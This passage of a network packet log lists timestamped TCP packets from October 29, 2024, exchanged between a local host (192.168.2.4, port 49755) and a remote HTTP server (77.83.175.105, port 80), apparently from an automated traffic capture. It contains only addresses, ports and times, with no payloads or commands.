Oct 29, 2024 04:17:20.529115915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.529161930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.529201031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536362886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536376953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536400080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536412001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536417961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536423922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536439896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536442041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536485910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536493063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536498070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536509991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536533117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536545992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536578894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536613941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536655903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536672115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536684990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536693096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536695957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536706924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536721945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536736012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536895037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536906958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536921978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536931992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536933899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.536947012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.536963940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537096977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537107944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537118912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537139893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537142992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537152052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537157059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537163019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537188053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537218094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537379026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537414074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537431002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537442923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537468910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537480116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537481070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537492037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537503958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537525892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537548065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537718058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537770987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537782907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537806034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537828922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537837982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537856102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537868023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537878036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537879944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537888050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537893057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.537899971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.537926912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538271904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538284063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538295984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538319111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538325071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538330078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538338900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538347006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538360119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538366079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538388968 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538400888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538413048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538424969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538433075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538435936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538448095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.538460016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.538482904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542077065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542097092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542109013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542130947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542151928 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542201996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542223930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542237043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542249918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542258978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542260885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542272091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542272091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542284966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542295933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542304039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542306900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542318106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542329073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542331934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542341948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542347908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542355061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542362928 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542392969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542856932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542870045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542881012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.542895079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.542921066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655551910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655584097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655599117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655612946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655618906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655626059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655666113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655666113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655693054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655704021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655714989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655726910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655738115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655755997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655760050 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655776978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655777931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655790091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655792952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655801058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655811071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655819893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655823946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655834913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655846119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655850887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655857086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655865908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655881882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655894041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655904055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655905008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655916929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655925989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655927896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.655941010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.655957937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656001091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656012058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656023026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656044006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656064034 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656076908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656089067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656116962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656147003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656191111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656208038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656225920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656227112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656238079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656240940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656265974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656279087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656315088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656362057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656374931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656399012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656419039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656426907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656438112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656450987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656465054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656472921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656474113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656497955 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656512022 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656577110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656631947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656699896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656712055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656722069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656732082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656734943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656745911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656747103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656759024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656764030 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656774998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656786919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656790972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656826973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656887054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656919003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.656960964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656971931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656985044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.656995058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657006979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657015085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657017946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657038927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657038927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657051086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657053947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657062054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657073021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657080889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657110929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657278061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657289982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657300949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657315969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657342911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657403946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657414913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657426119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657449007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657453060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657460928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657468081 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657471895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657493114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657497883 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657502890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657515049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657524109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657526016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657537937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657541990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657552958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657565117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657589912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657788038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657799006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657809973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.657819986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.657838106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774766922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774794102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774806023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774816990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774830103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774838924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774849892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774861097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774866104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774871111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774883032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774888992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774893999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774904013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774909019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774915934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774926901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774939060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774940968 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774949074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774969101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774971008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774981976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.774985075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.774992943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775013924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775022030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775033951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775043964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775046110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775064945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775068045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775075912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775088072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775113106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775152922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775163889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775175095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775188923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775214911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775249958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775260925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775270939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775281906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775298119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775326967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775345087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775363922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775379896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775391102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775402069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775405884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775435925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775449991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775564909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775576115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775587082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775604010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775624990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775635004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775645971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775656939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775670052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775680065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775686979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775705099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775718927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775789022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775808096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775820971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775830984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775842905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775856972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775888920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.775950909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775969982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775983095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775993109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.775993109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776004076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776015997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776042938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776101112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776112080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776122093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776141882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776164055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776166916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776175022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776185036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776200056 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776216984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776226997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776232958 CET	49755	80	192.168.2.4	77.83.175.105
